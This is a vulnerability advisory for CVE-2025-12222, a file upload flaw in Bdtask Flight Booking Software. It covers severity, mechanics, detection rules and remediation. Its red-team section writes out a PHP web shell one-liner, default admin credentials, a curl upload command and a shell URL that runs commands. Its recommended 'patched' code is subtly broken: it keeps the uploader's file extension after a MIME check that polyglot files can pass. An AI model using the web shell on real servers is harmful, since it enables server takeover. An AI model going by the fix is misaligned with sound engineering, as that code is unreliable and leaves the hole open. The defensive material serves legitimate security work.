CVE-2025-12222

Executive Summary

CVE-2025-12222 is an unrestricted file upload vulnerability in Bdtask Flight Booking Software up to version 3.1. The flaw resides in the /admin/transaction/deposit endpoint of the Deposit Handler component, allowing an authenticated attacker to upload arbitrary files to the server. This can lead to remote code execution, data exfiltration, or complete server compromise. The vendor was contacted but did not respond, leaving the software in an unpatched state. A proof-of-concept exploit has been publicly disclosed, increasing the risk of active exploitation.

CVSS Breakdown & Threat Level

• CVSS Score: 6.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

Threat Level: Medium. While the CVSS score is moderate, the public availability of exploit code and the lack of a vendor patch elevate the real-world risk. An attacker with low privileges can achieve code execution.

Deep Dive & Mechanics

The vulnerability is a classic unrestricted file upload (CWE-434). The /admin/transaction/deposit endpoint fails to properly validate the type, content, or extension of uploaded files. An attacker can upload a malicious PHP (or other executable) file, which is then stored in a web-accessible directory. By accessing the uploaded file directly, the attacker can execute arbitrary code on the server.

Root Cause: The application does not implement server-side checks for file MIME type, extension whitelisting, or content inspection. The upload handler likely relies on client-side validation, which can be trivially bypassed.

Attack Flow:

1. Authenticate to the admin panel (default credentials or via a separate vulnerability).
2. Intercept the deposit upload request using a proxy (e.g., Burp Suite).
3. Modify the request to upload a PHP web shell instead of a legitimate file.
4. Access the uploaded shell via its URL to execute commands.

Vulnerable vs. Patched Code

Since no official patch exists, the following represents the vulnerable code pattern and a recommended fix.

Vulnerable Code (PHP example):

<?php
// Vulnerable: No validation
$target_dir = "uploads/";
$target_file = $target_dir . basename($_FILES["file"]["name"]);
move_uploaded_file($_FILES["file"]["tmp_name"], $target_file);
echo "File uploaded successfully.";
?>

Patched Code (Recommended):

<?php
$target_dir = "uploads/";
$allowed_types = ['image/jpeg', 'image/png', 'application/pdf'];
$max_size = 5 * 1024 * 1024; // 5MB

if ($_FILES["file"]["size"] > $max_size) {
    die("File too large.");
}

$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $_FILES["file"]["tmp_name"]);
finfo_close($finfo);

if (!in_array($mime_type, $allowed_types)) {
    die("Invalid file type.");
}

$extension = pathinfo($_FILES["file"]["name"], PATHINFO_EXTENSION);
$new_filename = uniqid() . '.' . $extension;
$target_file = $target_dir . $new_filename;

if (move_uploaded_file($_FILES["file"]["tmp_name"], $target_file)) {
    echo "File uploaded successfully.";
} else {
    echo "Upload failed.";
}
?>

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to a Bdtask Flight Booking Software instance (version <= 3.1).
• Valid admin credentials (e.g., admin:admin).

Steps:

1. Log in to the admin panel.
2. Navigate to the deposit upload functionality (e.g., /admin/transaction/deposit).
3. Prepare a PHP web shell (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

4. Intercept the upload request with Burp Suite and modify the filename to shell.php.
5. Upload the file. The server will respond with a success message.
6. Access the shell at http://target/uploads/shell.php?cmd=id.

Example cURL command:

curl -c cookies.txt -b cookies.txt -F "file=@shell.php" http://target/admin/transaction/deposit

Blue Team (Defensive)

Detection:

• Monitor for unusual file uploads to /admin/transaction/deposit.
• Look for files with double extensions (e.g., image.php.jpg) or non-image MIME types.
• Alert on access to uploaded files in the uploads/ directory.

Hunting:

• Search web server logs for POST requests to /admin/transaction/deposit with suspicious filenames.
• Check for files in the upload directory that are not images or PDFs.
• Use the YARA rule below to scan for web shells.

Indicators of Compromise (IOCs)

• File Path: /admin/transaction/deposit
• Upload Directory: /uploads/ (or similar)
• Suspicious Files: shell.php, cmd.php, webshell.php, or any .php file in uploads.
• Network: POST requests to /admin/transaction/deposit with Content-Type: multipart/form-data.
• Log Entries: POST /admin/transaction/deposit HTTP/1.1 followed by 200 OK.

Detection Engineering

YARA Rule

rule Detect_Bdtask_Webshell {
    meta:
        description = "Detects common PHP web shells uploaded via CVE-2025-12222"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $shell_exec = "shell_exec("
        $exec_call = "exec("
        $passthru = "passthru("
    condition:
        $php_tag and any of ($system_call, $shell_exec, $exec_call, $passthru)
}

Sigma Rule

title: Suspicious File Upload to Bdtask Deposit Handler
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential exploitation of CVE-2025-12222 via file upload
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/admin/transaction/deposit'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate file uploads by admin users
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12222 Bdtask File Upload Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/admin/transaction/deposit"; http.request_body; content:"filename"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the deposit upload functionality if not critical to operations.
2. Restrict access to the admin panel via IP whitelisting or VPN.
3. Implement a Web Application Firewall (WAF) rule to block file uploads to /admin/transaction/deposit with non-whitelisted extensions.

Long-term Fix:

• Since the vendor is unresponsive, consider migrating to an alternative flight booking solution.
• If you must continue using this software, apply the patched code example above to the upload handler.
• Regularly audit the uploads directory for unauthorized files.

Valters IT
Securing Digital Frontiers